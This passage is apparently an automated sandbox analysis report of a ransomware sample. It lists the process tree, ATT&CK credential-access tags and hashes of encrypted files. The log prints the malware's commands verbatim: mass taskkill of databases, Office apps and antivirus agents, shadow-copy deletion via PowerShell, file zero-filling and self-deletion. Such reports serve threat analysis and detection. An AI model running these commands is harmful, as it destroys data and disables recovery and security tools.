- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1044
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM infopath.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:216
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mbamtray.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2976
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM zoolz.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4008
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" IM thunderbird.exe /F2⤵
- Kills process with taskkill
PID:3596
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM dbsnmp.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3128
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM xfssvccon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3636
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4688
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM Ntrtscan.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3460
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM isqlplussvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3848
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM onenote.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3068
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM PccNTMon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3648
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM msaccess.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2728
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM outlook.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4416
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM tmlisten.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4636
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM msftesql.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4020
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM powerpnt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1152
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2620
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM visio.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3124
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3704
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM winword.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3080
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld-nt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2324
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM wordpad.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4592
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld-opt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4000
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocautoupds.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2388
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocssd.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3436
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM oracle.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3424
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlagent.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3724
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlbrowser.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3464
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlservr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4080
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM synctime.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1624
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4840
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1008
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:4696 -
C:\Windows\system32\PING.EXEping 127.0.0.7 -n 33⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4560
-
-
C:\Windows\system32\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵PID:2320
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe2⤵PID:5612
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:5332
-
-
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.3MB
MD514203e55019e37f4e28d9b096309ae13
SHA105a9576f1266b453d5a89a3c395d48035c8c56dc
SHA256e0cc6db77ae5df609b19ca49fda15d01f6ea40fed953136eacb7e05dd15e22d6
SHA51234a22cf61507b702e4d39145bf05716385f1ec1ae13c9d681176dce67cbd690eb17e84f7401d4179cdd2ed4212c91d1075cc964a7b024e2de06e1f1eb49f3686
-
C:\ProgramData\Package Cache\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}v56.64.8804\windowsdesktop-runtime-7.0.16-win-x64.msi
Filesize28.8MB
MD5e056435c88a4bfa98c344a8edba92e92
SHA1de8f3e62371a39ed17a81309c923d7384fb3581c
SHA256a193fe9009614724e82090e156fb1f23f7ce4931115d205813988261334303e8
SHA512a2351ac7e8e4ec4db579ac9bf9905f4943401743bd864e1003142d9481e95be93efc4c37e8e23c50ada53896bd8f233fca9aabe5a5b24b3cd1498cd4a45f1b44
-
C:\ProgramData\Package Cache\{1B690A4C-381A-40D4-BA4A-3F8ACD5CE797}v56.64.8781\dotnet-hostfxr-7.0.16-win-x64.msi.energy[[email protected]]
Filesize804KB
MD54aacdac2b42384b7b824587dcb6d91fd
SHA133ef52f8db61b2b049fdc8ed8bdd7988171862e8
SHA256d1b2e9161b3c3cd83b1a250a3499f65201505886b91e1a4b9301da2e96ca4f12
SHA512791bb919d127fd0b7b52139b5f1ef7ccee3f7727f78d6b633309bc4e0f94de6aaeb0bea89dd52ed93f8ce5a25471909f194af3ce6fab7e1c5c0761ab307a4f0e
-
C:\ProgramData\Package Cache\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}v48.108.8828\dotnet-runtime-6.0.27-win-x64.msi
Filesize25.7MB
MD5bba3821ed6b5ad90a1b5bed73f50f612
SHA1c60910562655bc45a1bb1cebd6577ba5433641f6
SHA256411d35c42212c75e81cc2949c3f58ca200b1bd5f89bd0754483fc928edc5466f
SHA5124267c16aa873374fe1f1eda554350ab30afafd5460e87420d9491046959f02078151e03300f1e6121095ba1204ab27d00ae7c4edcb0426a6c6d15bb7a7c21fe0
-
C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]
Filesize180KB
MD525de1933ee2aed466f904f4300da02ce
SHA180e0e06f081eb1ea401db95d535cd3e1c764f0df
SHA256aeb9cb9c752648769d6b53509603ab6d4b94ddd2797b716a0501a521bbd84efd
SHA51259b4a143ba79d7c1ee648f5d5d2d70f52bfad4497d54614855635d498c4a64cfd3ed8bca724531aea0270fccff7bc8dd419b908f11129917b186923dd9855ae1
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD5fb615e25fa5c5d81a46365d6446ed714
SHA1a57ba54012b1fb1920cfcf276424556d6dc547fc
SHA25661387deb1626bfef8716a58b204fe05f3df45181550ac38a081c97409c8973fc
SHA51275961d4e10c7387ca20add4c96b2c4ebb897de417a18b6c6ac9008baa7c0d38823db4797d42e423225c09314ebfe8b000aa9f659f2e992ac8eba8a071407414e
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
828B
MD5f68f10a6d28b395c60eeca90bd0e4047
SHA1899ee0937838d5d3ab0c4a3c20798391896b3443
SHA256458c170e9bc8656366989e5bdbfa7a51bc1b699d3ddc217a67828456e0766a7f
SHA5124b40ad936cfe40c80bbdc3f31db19a75fb074eedd829556b8e84bc663acc376799246ed41686ad1f2e5167e269be9a5c3b2433ba3024bcef4a56236f524f283d